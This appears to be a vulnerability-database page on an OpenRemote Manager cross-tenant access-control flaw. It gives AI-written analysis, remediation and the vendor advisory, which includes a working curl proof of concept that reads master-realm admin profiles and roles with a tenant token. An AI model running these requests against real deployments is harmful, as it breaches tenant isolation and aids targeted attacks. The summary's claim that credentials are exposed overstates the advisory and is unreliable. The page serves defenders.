Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate as tenant realm admin (read:admin)
-
DeliveryObtain target user UUID from logs/API
-
ExploitRequest /api/{tenant}/user/master/{uuid} with tenant token
-
ExecutionBypass missing realm guard, receive HTTP 200
-
PersistEnumerate master-admin profile and full role set
-
ImpactLeverage identities/roles for targeted follow-on attack
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Object-level authorization, IDOR prevention
|
| Exploitation Conditions | Requires a multi-realm (multi-tenant) OpenRemote deployment with at least two active realms, and the attacker must already be authenticated as a realm-admin-level user holding the read:admin role in a non-master tenant realm (PR:L - not unauthenticated). The attacker must also know or discover a valid target user UUID in the victim realm (per the PoC, master-realm UUIDs are typically obtainable from audit logs, API responses, or provisioning records visible to the tenant admin). Exploitation is limited by these factors: it is inapplicable to single-realm installations (no cross-tenant boundary to cross), it requires the read:admin role rather than anonymous access, and it yields read-only disclosure of profile and role data (I:N/A:N) rather than modification. No special non-default feature toggle is needed - the vulnerable read endpoints are part of the standard user-management REST API. |
| Impact | The provided CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N, 7.7 High) is internally consistent with the description: network-reachable REST API, low complexity, requires an authenticated realm-admin token (PR:L), no user interaction, scope change because a tenant-scoped credential reaches a different security authority (the master realm), and high confidentiality impact with no integrity or availability effect. A detailed, reproducible PoC exists with observed HTTP 200 responses against a live commit (22a42a7), making practical exploitability high for anyone already holding realm-admin in any tenant. The key limiting factor is the PR:L prerequisite - this is not an unauthenticated internet-wide bug but a privilege/tenant-boundary escape usable by insiders or a compromised tenant admin. No EPSS score and no KEV status were provided, so widespread automated exploitation cannot be asserted; realistically this is a targeted tenant-isolation and reconnaissance issue that meaningfully aids follow-on attacks (it pairs with the already-documented GHSA-49vv-25qx-mg44 write-path bug). Real priority for any multi-tenant/hosted OpenRemote deployment; lower urgency for single-realm installations where cross-tenant impact does not apply. |
| Exploit ScenarioDerived | A malicious or compromised administrator of an ordinary tenant realm (holding read:admin) obtains an OAuth access token for their own realm, then supplies the known UUID of the master-realm system administrator in the API path to retrieve that account's username, profile, enabled status, and full Keycloak role set. A public PoC demonstrates this end-to-end with three curl requests returning HTTP 200 against the master realm; because AV:N/AC:L applies, the reconnaissance is trivial and reliable once a target UUID is known. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 06, 2026
Cross-tenant information disclosure in OpenRemote Manager lets a realm admin of one tenant read the profile, realm roles, and client roles of any user in any other realm - including the privileged master realm - simply by supplying the target user's UUID in the REST API path. Three read endpoints in UserResourceImpl verify the caller's read:admin role but never confirm the target user belongs to the caller's realm, breaking multi-tenant isolation for user data. Publicly available exploit code exists (a working curl-based PoC with live-instance HTTP 200 responses is documented), though it is not listed in CISA KEV and no active exploitation is confirmed.
RemediationAI
Apply the vendor patch: the fix is delivered in commit de89b8d3af272d717bf297934c2cbc97243f08b7 (referenced by GHSA-xqr9-4wvv-gvch, https://github.com/openremote/openremote/commit/de89b8d3af272d717bf297934c2cbc97243f08b7), which adds a throwIfCannotAdminRealm(realm) / isRealmAccessibleByUser(realm) check to the three read methods, mirroring the existing write-path enforcement - this is an upstream commit fix, so upgrade to a released build incorporating it once tagged and rebuild the openremote-manager artifact. If immediate patching is not possible, compensating controls are: restrict the read:admin role assignment so only trusted master-realm operators hold it (removing it from tenant admins prevents the bypass but also revokes their legitimate ability to read users in their own realm); place the /api/*/user/{realm}/... read endpoints behind a reverse-proxy or API-gateway rule that rejects requests where the {realm} path segment does not match the token's issuing realm (side effect: requires per-request token-to-path validation and can break legitimate cross-realm tooling); and audit access logs for tenant-scoped tokens hitting master-realm user paths as a detection measure. Track the vendor advisory GHSA-xqr9-4wvv-gvch for the tagged patched release.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in maven, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
OpenRemote is an open-source IoT/asset-management platform whose manager component (pkg:maven/io.openremote:openremote-manager) uses Keycloak-backed realms for multi-tenancy, with each tenant isolated into its own realm. The flaw is a CWE-639 authorization bypass through a user-controlled key (the userId UUID): in UserResourceImpl.java, the get() (line 102), getUserClientRoles() (line 294), and getUserRealmRoles() (line 313) methods accept a realm path parameter but never validate it against the caller's own realm. get() delegates to getUserByIdFromDb(), which queries by UUID with no realm filter, so any valid UUID resolves regardless of tenant. The write-side methods in the same class correctly call throwIfCannotAdminRealm(realm) → authContext.isRealmAccessibleByUser(realm) (lines 175, 190, 264, 333, 351, 386); the read methods were simply never updated with that guard when it was added for the write paths.
Know when Java gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Network REST API with low complexity but requires an authenticated tenant realm-admin token (PR:L); scope changes because a tenant credential reaches the separate master-realm authority, exposing user/role data (C:H) with no write impact (I:N/A:N).
Primary rating from Vendor (https://github.com/openremote/openremote).
CVSS VectorVendor: https://github.com/openremote/openremote
DescriptionCVE.org
Summary
A realm admin of tenant B can read the profile, client roles, and realm roles of any user in any other realm (including the master realm) by supplying the target user's UUID in the REST API path. Three read endpoints in UserResourceImpl check whether the caller holds the read:admin role but omit a check that the target user belongs to the caller's own realm. The vulnerability enables cross-tenant user enumeration and privilege-level reconnaissance. On a multi-tenant deployment the master realm administrator account is reachable from any tenant realm admin.
Details
The affected file is manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java.
Three methods are missing an authenticated-realm guard:
get (line 102):
public User get(RequestParams requestParams, String realm, String userId) { boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID); if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) { throw new ForbiddenException("..."); } try { return identityService.getIdentityProvider().getUser(userId); } ... }
The realm path parameter is accepted but never used. getUser(userId) delegates to getUserByIdFromDb(persistenceService, userId) which queries the database by UUID with no realm filter.
getUserClientRoles (line 294):
public String[] getUserClientRoles(RequestParams requestParams, String realm, String userId, String clientId) { boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID); if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) { throw new ForbiddenException("..."); } try { return identityService.getIdentityProvider().getUserClientRoles(realm, userId, clientId); } ... }
getUserRealmRoles (line 313):
public String[] getUserRealmRoles(RequestParams requestParams, String realm, String userId) { boolean hasAdminReadRole = hasResourceRole(ClientRole.READ_ADMIN.getValue(), Constants.KEYCLOAK_CLIENT_ID); if (!hasAdminReadRole && !Objects.equals(getUserId(), userId)) { throw new ForbiddenException("..."); } try { return identityService.getIdentityProvider().getUserRealmRoles(realm, userId); } ... }
By contrast, all write-side methods in the same file invoke throwIfCannotAdminRealm(realm) (lines 175, 190, 264, 333, 351, 386) which calls authContext.isRealmAccessibleByUser(realm), correctly enforcing the realm boundary. The read methods were not updated when this guard was added for the write paths.
The existing GHSA-49vv-25qx-mg44 (Improper Access Control in UserResourceImpl, patched April 2026) fixed the updateUserRealmRoles write path. The read methods in the same class remain unpatched at HEAD.
PoC
Prerequisites: two active realms (master and tenantb). The attacker authenticates as a realm-admin-level user of tenantb with read:admin role. Any valid UUID from the master realm suffices as the target userId.
Step 1. Obtain the master admin user UUID (this is typically discoverable from the audit log, API responses, or provisioning records visible to the tenantb admin).
Step 2. Obtain an access token for the tenantb admin:
TENANTB_TOKEN=$(curl -s -X POST \ "https://<host>/auth/realms/tenantb/protocol/openid-connect/token" \ -d "client_id=openremote&grant_type=password&username=tenantb_admin&password=TenantB123!" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])") Step 3. Read a master-realm user profile using the tenantb token:
curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \ "https://<host>/api/tenantb/user/master/f05e9eb4-0de6-45a6-9dc5-088402465e4e"
Observed response from the live test instance (commit 22a42a7, 2026-06-04):
{"realm":"master","realmId":"104856cd-ae5b-4a2d-917a-7e7f700561c8", "id":"f05e9eb4-0de6-45a6-9dc5-088402465e4e", "firstName":"System","lastName":"Administrator", "enabled":true,"createdOn":1780550421390, "serviceAccount":false,"username":"admin"} HTTP 200
Step 4. Read master-admin realm roles:
curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \ "https://<host>/api/tenantb/user/master/userRealmRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e"
Observed response:
["admin"] HTTP 200
Step 5. Read master-admin client roles:
curl -s -H "Authorization: Bearer $TENANTB_TOKEN" \ "https://<host>/api/tenantb/user/master/userRoles/f05e9eb4-0de6-45a6-9dc5-088402465e4e/openremote"
Observed response:
["read:alarms","read:logs","write:logs","read:admin","write:insights","read:services", "write:alarms","write:attributes","write:services","write:user","write:assets", "read:insights","read:map","read:users","read:assets","read:rules","write", "write:admin","read","write:rules"] HTTP 200
All three requests succeed with a tenantb-scoped token against master-realm targets. The HTTP 200 responses confirm the cross-realm boundary is crossed.
A fix would add throwIfCannotAdminRealm(realm) (or an equivalent isRealmAccessibleByUser check) to the three read methods, mirroring the pattern already applied to the write methods.
Impact
Any realm admin (write:admin + read:admin roles) in a non-master tenant can enumerate user accounts, email addresses, enabled/disabled status, and the full set of Keycloak roles for any user in any other realm, including the privileged master realm. This exposes admin account identities and role assignments that would assist targeted attacks (credential stuffing, social engineering, escalation via the already-documented write path). On hosted or shared OpenRemote deployments where multiple organizations are separated into different realms, this breaks tenant isolation for user data.
Blast Radius
ecosystem impact- 3 maven packages depend on io.openremote:openremote-manager (3 direct, 0 indirect)
Ecosystem-wide dependent count for version 1.24.2.
Articles & Coverage 1
Executive ViewAI
OpenRemote Manager deployments contain a critical isolation failure allowing tenant administrators to read user profiles, security roles, and credentials across all other tenants, including privileged administrative accounts. With publicly available working exploit code, any compromised tenant administrator can immediately access sensitive account information across your entire multi-tenant infrastructure. Organizations running shared OpenRemote Manager must patch immediately and audit for evidence of unauthorized cross-tenant data access.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.
Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m
Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti
Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent
Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug
JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up
Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up
The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow
Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla
The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during
EUVD-2026-98846
GHSA-xqr9-4wvv-gvch
NVD
CVE.org
EPSS
Exploit-DB